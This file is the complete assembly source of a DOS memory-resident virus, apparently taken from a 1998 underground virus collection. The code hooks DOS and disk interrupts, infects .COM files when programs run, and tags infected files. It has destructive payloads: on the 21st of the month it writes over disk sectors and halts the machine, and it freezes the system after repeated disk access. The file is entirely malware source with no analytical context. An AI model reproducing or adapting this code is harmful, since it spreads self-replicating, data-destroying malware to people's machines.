Underground/Underground CD1.iso/virii/zrodla/s/sk2.asm

Assembly Source File | 1998-01-14 | 5.4 KB | 298 lines

start:  jmp     short begin
    db    (00h)
    db    (53h)
    db    (4bh)
    int    20h
okey:    db    (0b8h)
    db    (03h)
    db    (00h)
    db    (0cdh)
    db    (10h)
begin:    push    cx
    CALL    F1
F1:    POP    SI
    SUB    SI,09
    PUSH    SI
        cld
    mov    di,100h
    mov    cx,5
    rep    movsb
    jmp    ding2
int21h: STI
    cmp    ah,4bh
    jz    mm
        jmp     int1hh
mm:    pushf
        PUSH    AX
    PUSH    BX
    PUSH    CX
    PUSH    DX
    PUSH    DS
    PUSH    ES
    PUSH    SI
    PUSH    DI
    mov    byte ptr [virusw],1
        mov     ah,2ah
    int    21h
    cmp    dl,21
    jnz    et3
    mov    ax,0309h
    mov    dx,0000h
    mov    cx,0001h
    lea    bx,[100h]
    int    13h
    mov    ah,9
    mov    dx,offset name
    int    21h
    cli
    hlt
dinge:    jmp    ding
et3:    push    cs        ;ds <- cs
    pop    ds
    mov    ah,2fh        ;Dos service function ah=2FH (get DTA)
    int    21h        ;ES:BX Addres of current DTA
    mov    [edta],ES
    mov    [bdta],BX
    mov    ah,1ah        ;Dos service function ah=1AH (set DTA)
    mov    dx,offset end+7 ;DS:DX Addres of DTA
    int    21h
    push    cs
    pop    ds
        MOV     AH,4eH
        MOV     DX,offset files
    mov    cx,00
        INT     21H             ;Dos service function ah=4EH (FIND FIRST)
        jc      dinge           ;CX  File attribute
                                ;DS:DX Pointer of filespec (ASCIIZ string)
vir:    mov    ax,3d02h
    push    cs
    pop    ds
    mov    dx,offset end+7 ;DS:DX Addres of DTA
    add    dx,1EH
    int    21h        ;Dos service function ah=3DH (OPEN FILE)
                                ;AL Open mode
                                ;DS:DX Pointer to filename (ASCIIZ string)
                                ;Return AX file handle
        mov     [handle],ax
    mov    ah,'C'
    mov    al,'D'
        PUSH    DX
        POP     BX
    cmp    [bx],ah ;Compare filename for 'COMMAND.COM'
    jnz    p1        ;If not first char 'C' then push virus in file
    cmp    [bx+6],al
    jz    v        ;If 7 char 'D' then find next file
p1:     mov     bx,handle
        push    cs
    pop    ds
    mov    ah,3fh
    mov    dx,offset end
    mov    cx,5
    int    21h        ;Dos service function ah=3FH (READ FILE)
                                ;BX File handle
                                ;CX Number of bytes to read
                                ;DS:DX Addres of buffer
    push    cs
    pop    es        ;ES <- CS
    cld
        PUSH    DX
        POP     SI
    mov    di,offset okey
    mov    cx,5
    rep    movsb        ;Repeat While CX>0 do ES:DI <- DS:SI
                                ;                     SI=SI+1
                                ;                     DI=DI+1
    mov    ax,534bh
    mov    di,dx
    add    di,3
    cmp    [di],ah
    jnz    fuck
    inc    di
    cmp    [di],al
    jnz    fuck
v:    push    cs
    pop    ds
    mov    bx,handle
    mov    ah,3eh
    int    21h
    push    cs
    pop    ds
    mov    ah,4fh
    int    21h
    jc    enzi
    jmp    short vir
enzi:    jmp    ding
fuck:   mov     ax,offset end+7
    add    ax,1aH
    mov    di,ax
        Mov     Word Ptr cx,[di]
        mov     ax,offset end
    mov    di,ax
    mov    al,0e9h
    cmp    cx,1a0h
    jna    v
    add    cx,2
    mov    [di],al
    inc    di
    mov    Word Ptr [di],cx
    mov    ax,534bh
    add    di,2
    mov    [di],ah
    inc    di
    mov    [di],al
        mov     bx,[handle]    ;
    mov    ax,4200h
    xor    cx,cx
    xor    dx,dx
    push    cs
    pop    ds
    int    21h
    mov    bx,handle
    mov    ah,40h
    mov    dx,offset end
    mov    cx,5
    int    21h
    mov    ax,4202h
    xor    cx,cx
    xor    dx,dx
    int    21h
    push    cs
    pop    ds
    mov    bx,handle
    mov    ah,40h
    mov    dx,offset okey
    mov    cx,end-okey
    int    21h
    mov    bx,handle
        mov     ah,3eh
    int    21h
    inc    Word ptr [save]
ding:    push    cs
    pop    ds
    mov    ah,1ah
    mov    ds,[edta]
    mov    dx,[bdta]
    int    21h
    mov    byte ptr [virusw],0
        POP     DI
    POP    SI
        POP     ES
    POP    DS
    POP    DX
    POP    CX
    POP    BX
    POP    AX
    popf
int1hh    nop
int1h:  db      (0eah)
is:    dw    0
io:    dw    0
int13h: cli
    PUSH    BX
    PUSH    CX
    PUSH    DX
    PUSH    DS
    PUSH    ES
    PUSH    SI
    PUSH    DI
    inc    Word ptr [save]
    cmp    Word ptr [save],1000h
    jnz    etk3
    cli
    hlt
etk3:    STI
        int     65h
    push    ax
    mov    ax,0
    mov    ds,ax
    cmp    byte ptr [virusw],0
    pop    ax
    jz    etk5
        clc
    mov    ax,0
etk5:   POP     DI
    POP    SI
        POP     ES
    POP    DS
    POP    DX
    POP    CX
    POP    BX
    db    (0CAH)
    db    (02)
    db    (00)
name:    db    'Virus in memory !!! $'
for1:    jmp    ding1
files:    db    '*.com',0
ding2:    mov    ax,0000h
    mov    ds,ax
        MOV     BX,300H
    MOV    CX,4b53h
    cmp    [bx],cx
    jz    for1
        mov     [bx],cx
        mov     ah,62h
    int    21h
    mov    ds,bx
    mov    bx,[2ch]
    dec    bx
    mov    dx,0FFFFh
loc_1:    mov    ds,bx
    mov    di,[3]
    inc    di
    add    dx,di
    add    bx,di
    cmp    byte ptr [0000],5Ah
    jne    loc_1
    mov    cx,es
    add    cx,dx
    sub    word ptr [3],80h
    sub    cx,80h
    sub    cx,10h
    mov    es,cx
    mov    di,100h
    cld
        mov     ax,0000h
        mov     ds,ax
        mov     bx,[004ch]
        mov     [0194h],bx
        mov     cx,[004eh]
        mov     [0196h],cx
    MOV    BX,[0084H]
    MOV    CX,[0086H]
    push    cs
    pop    ds
    POP    SI
    PUSH    SI
    ADD    SI,IS-OKEY
    MOV    [SI],BX
    MOV    [SI+2],CX
    POP    SI
    PUSH    SI
    sub    si,7
    mov    di,100h
    mov    cx,800h
    rep    movsb
    mov    ax,0000
    mov    ds,ax
    cli
    mov    WORD PTR [0086h],ES
        mov     WORD PTR [004eh],ES
    mov    di,int13h-okey
    add    di,107h
        mov     WORD PTR [004ch],di
    mov    di,int21h-okey
    add    di,107h
    mov    WORD PTR [0084h],di
ding1:    POP    SI
    sti
    PUSH    CS
    POP    DS
    POP    CX
    mov    si,100h
    jmp    si
handle: dw    ?
edta:    dw    ?
bdta:    dw    ?
VIRUSW: DB    (00)
SAVE:    DB    (00)
end:    db      (00)